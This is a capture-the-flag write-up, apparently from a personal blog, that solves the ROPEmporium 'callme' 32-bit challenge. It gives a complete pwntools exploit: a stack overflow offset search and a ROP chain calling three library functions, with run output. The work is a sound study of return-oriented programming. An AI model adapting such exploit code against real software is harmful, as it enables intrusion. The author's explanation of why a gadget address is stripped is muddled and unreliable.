[ROPEmporium]: Callme

Callme 

Hi, in this writeup i’ll try to show some techniques to use pwntools in exploitation.
In this case, i’ll use the challenge called “callme” , from ROPEmporium: https://ropemporium.com/challenge/callme.html

Hope you enjoy ;)

At beginning, lets try to understand how the program flow works.

root@kali:~/Desktop/ropemporium/me/callme# ./callme32
callme by ROP Emporium
32bits

Hope you read the instructions...
> blabla

Exiting

So, lets read the instructions..

Text from the ROPEmporium website:

Correct order

Important:
To dispose of the need for any RE we'll tell you the following:
You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag....
Ok! we got an idea behind the program.. we need to execute functions which are not in the callme32 binary, but are on the libcallme32.so file.

These functions are called by usefulFunction, which is a function from callme32 :

0804880c <usefulFunction>:
804880c: 55                   push %ebp
804880d: 89 e5             mov %esp,%ebp
804880f: 83 ec 08         sub $0x8,%esp
8048812: 83 ec 04        sub $0x4,%esp
8048815: 6a 06             push $0x6
8048817: 6a 05             push $0x5
8048819: 6a 04             push $0x4
804881b: e8 90 fd ff ff  call 80485b0 <callme_three@plt>
8048820: 83 c4 10       add $0x10,%esp
8048823: 83 ec 04       sub $0x4,%esp
8048826: 6a 06            push $0x6
8048828: 6a 05            push $0x5
804882a: 6a 04            push $0x4
804882c: e8 ef fd ff ff   call 8048620 <callme_two@plt>
8048831: 83 c4 10      add $0x10,%esp
8048834: 83 ec 04      sub $0x4,%esp
8048837: 6a 06           push $0x6
8048839: 6a 05           push $0x5
804883b: 6a 04           push $0x4
804883d: e8 7e fd ff ff call 80485c0 <callme_one@plt>
8048842: 83 c4 10      add $0x10,%esp
8048845: 83 ec 0c      sub $0xc,%esp
8048848: 6a 01           push $0x1
804884a: e8 91 fd ff ff call 80485e0 <exit@plt>
804884f: 90                  nop


Basically, if we do the correct function order, with exactly arguments.. we win \o/
Knowing this, we need to think some way to do that.

The exploit flow looks like this:

payload = eip_overflow
payload += callme_one
payload += rop_gadget_to_pop_the_args
payload += 1
payload += 2
payload += 3
payload += callme_two
payload += rop_gadget_to_pop_the_args
payload += 1
payload += 2
payload += 3
payload += callme_three
payload += rop_gadget_to_pop_the_args
payload += 1
payload += 2
payload += 3

After some tries I got the correct exploit:

from pwn import *
e = ELF("./callme32")
p = process(e.path)
p.sendline(cyclic(128)) #send pattern to know the correct eip offset
p.wait()
core = p.corefile #create a core to understand where is the segfault
eip_offset = cyclic_find(core.eip) #find the correct eip offset
info("Found eip_offset %d", eip_offset)

#At this part, we need to use ROPgadget, to pop up the correct registers to our rop chain.
#ROPgadget --binary callme32 | grep ‘pop esi ; pop edi ; pop ebp ; ret’.
#Result: 0x080488a9.

pop_addr = 0x080488a9

#Search calls addresses.

c_one = e.symbols["callme_one"]
c_two = e.symbols["callme_two"]
c_three = e.symbols["callme_three"]
main = e.symbols["main"]

#Print addresses.

print ""
success("c_one: " + str(hex(c_one)))
success("c_two: " + str(hex(c_two)))
success("c_three: " + str(hex(c_three)))
print ""

#Creating rop chain.
rop = ROP(e)
rop.call(c_one, (pop_addr, 1, 2, 3))
rop.call(c_two, (pop_addr, 1, 2, 3))
rop.call(c_three, (pop_addr, 1, 2, 3))
rop.call(main, (0,0,0))

#Here is the pwntools tricky, if you do “rop.call(c_one, (pop_addr, 1, 2, 3))”, you’re doing a syscall module which use <__libc_csu_init+88> to initiate the call. But you can simplify so much using this way to create our rop chain.

#gdb-peda$ x 0x80488a8
#0x80488a8 <__libc_csu_init+88>: 0x5d5f5e5b

#The complete rop chain, look like this:

#0x80485c0 0x80488a8 0x80488a9 0x1 0x2 0x3 0x8048620 0x80488a8 0x80488a9 0x1 0x2 0x3 ....

#But we can’t use the address “0x80488a8” a.k.a “<__libc_csu_init+88>”, because we are not calling any syscall, we are just creating a chain ;)

#As you can see below, i filtered a little bit that not usable address:

print ""
success("ROPCHAIN " + ' '.join([hex(x) for x in unpack_many(rop.chain().replace(p32(0x80488a8), ""))[0:15]]) + '\n')
print ""

#Then, let’s create our complete exploit.

payload = cyclic(eip_offset)
payload += rop.chain().replace(p32(0x80488a8), "")
p = process(e.path)
p.sendline(payload) #Sending final payload
p.wait()
success(p.recv())

OUTPUT:

[!] Pwntools does not support 32-bit Python. Use a 64-bit release.

[*] '/root/Desktop/ropemporium/me/callme/callme32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

RPATH: './'
[+] Starting local process '/root/Desktop/ropemporium/me/callme/callme32': pid 1882
[*] Process '/root/Desktop/ropemporium/me/callme/callme32' stopped with exit code -11 (SIGSEGV) (pid 1882)
[+] Parsing corefile...: Done
[*] '/root/Desktop/ropemporium/me/callme/core.1882'
Arch: i386-32-little
EIP: 0x6161616c
ESP: 0xbff372f0
Exe: '/root/Desktop/ropemporium/me/callme/callme32' (0x8048000)
Fault: 0x6161616c
[*] Found eip_offset 44

[+] c_one: 0x80485c0
[+] c_two: 0x8048620
[+] c_three: 0x80485b0

[*] Loaded cached gadgets for './callme32'

[+] ROPCHAIN 0x80485c0 0x80488a9 0x1 0x2 0x3 0x8048620 0x80488a9 0x1 0x2 0x3 0x80485b0 0x80488a9 0x1 0x2 0x3

[+] Starting local process '/root/Desktop/ropemporium/me/callme/callme32': pid 1885

[*] Process '/root/Desktop/ropemporium/me/callme/callme32' stopped with exit code 0 (pid 1885)

[+] callme by ROP Emporium
32bits

Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}

That’s the flag \o/

Hope you enjoyed.

Comentários

Postagens mais visitadas deste blog

[Tutorial]: MS17-010 in Android world

[Vulnhub]: Vulnerable docker

[Simple 90's BOF Tricks] Stack buffer overflows advanced | chapter.1